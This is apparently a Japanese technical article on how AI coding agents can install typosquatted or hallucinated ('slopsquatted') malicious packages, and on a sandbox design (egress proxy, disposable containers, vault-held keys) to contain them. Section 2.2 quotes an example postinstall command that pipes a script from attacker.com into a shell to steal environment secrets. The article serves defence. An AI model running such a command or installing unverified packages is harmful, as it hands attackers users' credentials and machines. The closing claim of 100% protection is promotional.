AIが踏み抜く「タイポスクワッティング」と、Egress Proxy によるインフラレベル防御
1. 概要
AIエージェントによるパッケージの自動インストール(npm install や pip install 等)を許可する際、現代のソフトウェアサプライチェーンにおいて最も恐ろしいセキュリティ脅威となるのが「タイポスクワッティング(Typosquatting)」である。 AIはスペルミスやハルシネーション(記憶違い)によって、実在するライブラリと一文字違いの悪意あるダミーパッケージを勝手にインストールし、インストールスクリプト(preinstall / postinstall)経由で本番環境や開発PCを汚染・秘密情報を窃取されるリスクを抱えている。 Claude Code でも、この脅威に対抗するための npm サプライチェーン防御フック(claude-code#39421)や、インストール監査プラグイン(claude-code#22857)の追加が議論されている。 本稿では、AIエージェントにおけるサプライチェーン攻撃の発生メカズムと、自社製サンドボックス sunaba の「Egress Proxy & Vault(キーストア)」による物理防衛設計について考察する。
2. インシデント of 分析:AIエージェントとサプライチェーン攻撃の融合
AIエージェントに実装を丸投げした際、パッケージ自動インストール機能(package_install 等のツール呼び出し)を悪用・踏み抜く攻撃ルートには、主に以下の2つのパターンが存在する。
2.1. タイポスクワッティングと「スロップスクワッティング(Slopsquatting)」
AIエージェントによる偽パッケージの踏み抜きは、単なる入力ミスだけでなく、「スロップスクワッティング(Slopsquatting)」 または 「AIパッケージハルシネーション攻撃(AI Package Hallucination Attack)」 と呼ばれる、セキュリティ業界で猛威を振るう実在の攻撃手法として実証されている。
- 実証された「20%問題」と攻撃者の先回り待ち伏せ: Lasso Security等の調査により、LLM(GPTやClaudeなど)がコード生成時に提案する外部ライブラリのうち、約20%が「実際にはレジストリ(npm/PyPI)に存在しない、AIがでっち上げた架空のパッケージ名(例:
langchain-toolsやopenai-helpers)」であることが実証されている。 攻撃者はLLM of ハルシネーションパターンを事前に収集し、その架空のパッケージ名でマルウェア(インフォスティーラーなど)を先回りして公式レジストリに登録しておく。 - エージェント化による自動感染のデッドロック: 人間がAIの出力をコピペして偽パッケージをインストールしてしまう「人間経由の感染」に加え、AIエージェントに自律インストール権限を与える(Agentic supply chain compromises)ことで、AIエージェント自身がハルシネーションを起こし、自身で攻撃者が先回り登録したマルウェアを自動で呼び込んで踏み抜くという、完全自動の感染ルートが確立する。
- ステルス実行による手遅れ: AIエージェントによるインストール作業はバックグラウンドのサンドボックス内などで高速かつ非同期に実行されるため、人間が怪しい通信やスクリプトの実行ログに気づくチャンスはほぼゼロに近い。ユーザーが気づいたときには、すでにインストールスクリプトの実行と秘密情報の外部送信が全て完了している。
2.2. インストールスクリプト(postinstall 等)によるリモートコード実行と鍵の窃取
悪意あるパッケージが npm install されると、そのパッケージの package.json 内に仕込まれた preinstall / postinstall スクリプト が、コードとして実行される前にOSのシェル上で自動的に実行される(claude-code#39421)。
- 挙動:
curl -s http://attacker.com/malicious | shなどの外部コマンドが走り、PC内の環境変数(AWS_ACCESS_KEYやGitHubトークンなど)をダンプして外部の攻撃者サーバーに送信(Exfiltration)する。 - 特徴: AIは非同期で実行するため、人間が不審な通信やインストールスクリプトの存在に気づく前に、すべての機密情報が瞬時に窃取される。
3. sunaba レイヤーによるサプライチェーン攻撃の物理的無力化
他社製ツール(Claude Code等)が「インストールコマンドをフックして、地雷パッケージ名を正規表現で検知する(npm-typosquat.sh)」という、泥臭く網備えの不完全な検知フィルターに頼っているのに対し、sunaba / mcp-launcher は**「レジストリ(npm/PyPI)自体はすでに汚染されており、防御は不可能である」という前提(Assume Compromise)**に立ち、インフラレイヤーでの物理的な通信遮断とシステム隔離によって攻撃を完全に無力化している。
3.1. レジストリ信頼の限界と、最終防衛(Egress Proxy)
公式レジストリであってもサプライチェーン攻撃をクライアント側で防ぎきる手段は存在しない。そのため、sunaba は公式レジストリ(registry.npmjs.org や pypi.org)以外の未知の外部ドメインへのアウトバウンド接続をカーネルレベルで遮断し、最終防衛(Last Line of Defense)として機能させる。 悪意あるスクリプトがコンテナ内で実行されたとしても、外部のC2サーバーに情報を送信(Exfiltration)する物理的手段が一切存在しないため、攻撃は未遂に終わる。
3.2. ホストへの「ファイル書き出し遮断」による使い捨て隔離
万が一、ダウンロードされたマルウェアがローカル環境を永続的に汚染しようとしたり、ホストPC側のOSをハックしようとしても、sunaba はコンテナからホストOSへのファイル書き出し(ボリュームマウントによるホスト汚染等)を構造的に遮断している。 コンテナ自体は実行終了時に完全に破棄される「使い捨て(Disposable)」であり、ホスト側には1バイトの不正ファイルも残らないため、無傷でシステムをクリーンアップできる。
3.3. Vault による「生キー」の非露出
mcp-launcher / sunaba 構成では、ホストPC側のマスター資格情報(APIキーや秘密鍵)は暗号化キーストア(Vault 等)に完全格納され、コンテナ内には「短寿命トークン」しか動的ミントして注入されないため、一時トークンの漏洩のみで被害を局所化できる。
4. 結論
AIエージェントに自律的なパッケージインストールを許可する以上、レジストリの安全性を盲信することはできない。 sunaba が実装する 「許可された宛先にしかデータを送信させない最終防衛(Egress Proxy)」、「ホストOSを一切汚染させないファイル書き出し遮断(Disposable隔離)」、そして 「Vaultによるマスターキーの徹底隔離」 は、AIがどれほど致命的なマルウェアパッケージを誤インストールして実行しようとも、システムと資産への攻撃パスを構造的・物理的に100%切断し、サプライチェーン攻撃を無害な空砲に変えるための、AI駆動開発インフラにおける究極のゼロトラスト防衛設計であるといえる。
5. 参考文献 / 一次情報
- npmサプライチェーン防御フックとtyposquatting検出スクリプトの提案 (Claude Code): anthropics/claude-code#issues/39421
- パッケージ自動インストール時の監査プラグイン PreToolUse の追加 (Claude Code): anthropics/claude-code#pull/22857